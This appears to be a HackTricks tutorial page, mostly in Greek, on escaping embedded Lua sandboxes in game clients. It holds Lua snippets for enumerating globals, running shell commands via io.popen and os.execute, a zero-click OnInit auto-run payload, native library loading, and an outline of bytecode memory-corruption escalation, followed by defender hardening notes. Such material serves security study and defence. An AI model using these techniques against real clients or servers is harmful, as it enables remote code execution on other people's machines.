# Παρακάμψτε Lua sandboxes (embedded VMs, game clients) {{#include ../../../banners/hacktricks-training.md}} Αυτή η σελίδα συγκεντρώνει πρακτικές τεχνικές για να εξερευνήσετε και να ξεφύγετε από ενσωματωμένα Lua "sandboxes" σε εφαρμογές (ιδιαίτερα game clients, plugins, ή in-app scripting engines). Πολλές engines εκθέτουν ένα περιορισμένο περιβάλλον Lua, αλλά αφήνουν ισχυρά globals προσβάσιμα που επιτρέπουν αυθαίρετη εκτέλεση εντολών ή ακόμη και native memory corruption όταν εκτίθενται bytecode loaders. Key ideas: - Θεωρήστε το VM ως άγνωστο περιβάλλον: καταγράψτε το _G και ανακαλύψτε ποια επικίνδυνα primitives είναι προσβάσιμα. - Όταν stdout/print είναι μπλοκαρισμένο, κακοποιήστε οποιοδήποτε in-VM UI/IPC κανάλι ως output sink για να παρατηρήσετε αποτελέσματα. - Αν io/os είναι εκτεθειμένα, συχνά έχετε απευθείας εκτέλεση εντολών (io.popen, os.execute). - Αν load/loadstring/loadfile είναι εκτεθειμένα, η εκτέλεση crafted Lua bytecode μπορεί να υπονομεύσει την ασφάλεια μνήμης σε μερικές εκδόσεις (≤5.1 verifiers are bypassable; 5.2 removed verifier), επιτρέποντας προχωρημένη εκμετάλλευση. ## Εξερεύνηση του sandboxed περιβάλλοντος - Dump το global environment για να καταγράψετε reachable tables/functions: ```lua -- Minimal _G dumper for any Lua sandbox with some output primitive `out` local function dump_globals(out) out("=== DUMPING _G ===") for k, v in pairs(_G) do out(tostring(k) .. " = " .. tostring(v)) end end ``` - Αν το print() δεν είναι διαθέσιμο, επαναχρησιμοποιήστε τα in-VM κανάλια. Παράδειγμα από ένα MMO housing script VM όπου η έξοδος στο chat λειτουργεί μόνο μετά από μια sound call; το παρακάτω δημιουργεί μια αξιόπιστη συνάρτηση εξόδου: ```lua -- Build an output channel using in-game primitives local function ButlerOut(label) -- Some engines require enabling an audio channel before speaking H.PlaySound(0, "r[1]") -- quirk: required before H.Say() return function(msg) H.Say(label or 1, msg) end end function OnMenu(menuNum) if menuNum ~= 3 then return end local out = ButlerOut(1) dump_globals(out) end ``` Γενικεύστε αυτό το μοτίβο για τον στόχο σας: οποιοδήποτε textbox, toast, logger ή UI callback που δέχεται strings μπορεί να λειτουργήσει ως stdout για reconnaissance. ## Άμεση εκτέλεση εντολών αν io/os είναι εκτεθειμένα Αν το sandbox εξακολουθεί να εκθέει τις standard βιβλιοθήκες io or os, πιθανότατα έχετε άμεση εκτέλεση εντολών: ```lua -- Windows example io.popen("calc.exe") -- Cross-platform variants depending on exposure os.execute("/usr/bin/id") io.popen("/bin/sh -c 'id'") ``` Σημειώσεις: - Η εκτέλεση συμβαίνει μέσα στο client process· πολλά anti-cheat/antidebug layers που μπλοκάρουν external debuggers δεν θα αποτρέψουν το in-VM process creation. - Επίσης έλεγξε: package.loadlib (arbitrary DLL/.so loading), require with native modules, LuaJIT's ffi (if present), and the debug library (can raise privileges inside the VM). ## Zero-click triggers via auto-run callbacks Αν η host application ωθεί scripts στους clients και η VM εκθέτει auto-run hooks (π.χ. OnInit/OnLoad/OnEnter), τοποθέτησε το payload σου εκεί για drive-by compromise μόλις το script φορτωθεί: ```lua function OnInit() io.popen("calc.exe") -- or any command end ``` Οποιοσδήποτε ισοδύναμος callback (OnLoad, OnEnter, etc.) γενικεύει αυτή την τεχνική όταν scripts μεταδίδονται και εκτελούνται αυτόματα στον client. ## Επικίνδυνα primitives για να εντοπίσετε κατά το recon Κατά την enumeration του _G, ψάξτε ειδικά για: - io, os: io.popen, os.execute, file I/O, πρόσβαση σε μεταβλητές περιβάλλοντος. - load, loadstring, loadfile, dofile: εκτελούν πηγαίο κώδικα ή bytecode· επιτρέπουν τη φόρτωση μη αξιόπιστου bytecode. - package, package.loadlib, require: φόρτωση δυναμικών βιβλιοθηκών και επιφάνεια module. - debug: setfenv/getfenv (≤5.1), getupvalue/setupvalue, getinfo, και hooks. - LuaJIT-only: ffi.cdef, ffi.load για να καλεί άμεσα native code. Minimal usage examples (if reachable): ```lua -- Execute source/bytecode local f = load("return 1+1") print(f()) -- 2 -- loadstring is alias of load for strings in 5.1 local bc = string.dump(function() return 0x1337 end) local g = loadstring(bc) -- in 5.1 may run precompiled bytecode print(g()) -- Load native library symbol (if allowed) local mylib = package.loadlib("./libfoo.so", "luaopen_foo") local foo = mylib() ``` ## Προαιρετική κλιμάκωση: κατάχρηση των Lua bytecode loaders Όταν τα load/loadstring/loadfile είναι προσβάσιμα αλλά io/os είναι περιορισμένα, η εκτέλεση χειροποίητου Lua bytecode μπορεί να οδηγήσει σε memory disclosure και primitives καταστροφής μνήμης. Βασικά σημεία: - Lua ≤ 5.1 shipped a bytecode verifier that has known bypasses. - Lua 5.2 removed the verifier entirely (official stance: applications should just reject precompiled chunks), widening the attack surface if bytecode loading is not prohibited. - Workflows typically: leak pointers via in-VM output, craft bytecode to create type confusions (e.g., around FORLOOP or other opcodes), then pivot to arbitrary read/write or native code execution. Αυτή η διαδρομή είναι engine/version-specific και απαιτεί RE. Δείτε τις αναφορές για deep dives, exploitation primitives, και παραδείγματα gadgetry σε παιχνίδια. ## Detection and hardening notes (for defenders) - Server side: απορρίψτε ή επαναγράψτε user scripts; allowlist safe APIs; strip ή bind-empty io, os, load/loadstring/loadfile/dofile, package.loadlib, debug, ffi. - Client side: τρέξτε Lua με ένα minimal _ENV, απαγορεύστε bytecode loading, επανεισάγετε έναν αυστηρό bytecode verifier ή signature checks, και μπλοκάρετε τη δημιουργία διαδικασιών από τη διεργασία του client. - Telemetry: ειδοποιήστε για gameclient → child process creation σύντομα μετά το script load; συσχετίστε με UI/chat/script events. ## References - [This House is Haunted: a decade old RCE in the AION client (housing Lua VM)](https://appsec.space/posts/aion-housing-exploit/) - [Bytecode Breakdown: Unraveling Factorio's Lua Security Flaws](https://memorycorruption.net/posts/rce-lua-factorio/) - [lua-l (2009): Discussion on dropping the bytecode verifier](https://web.archive.org/web/20230308193701/https://lua-users.org/lists/lua-l/2009-03/msg00039.html) - [Exploiting Lua 5.1 bytecode (gist with verifier bypasses/notes)](https://gist.github.com/ulidtko/51b8671260db79da64d193e41d7e7d16) {{#include ../../../banners/hacktricks-training.md}}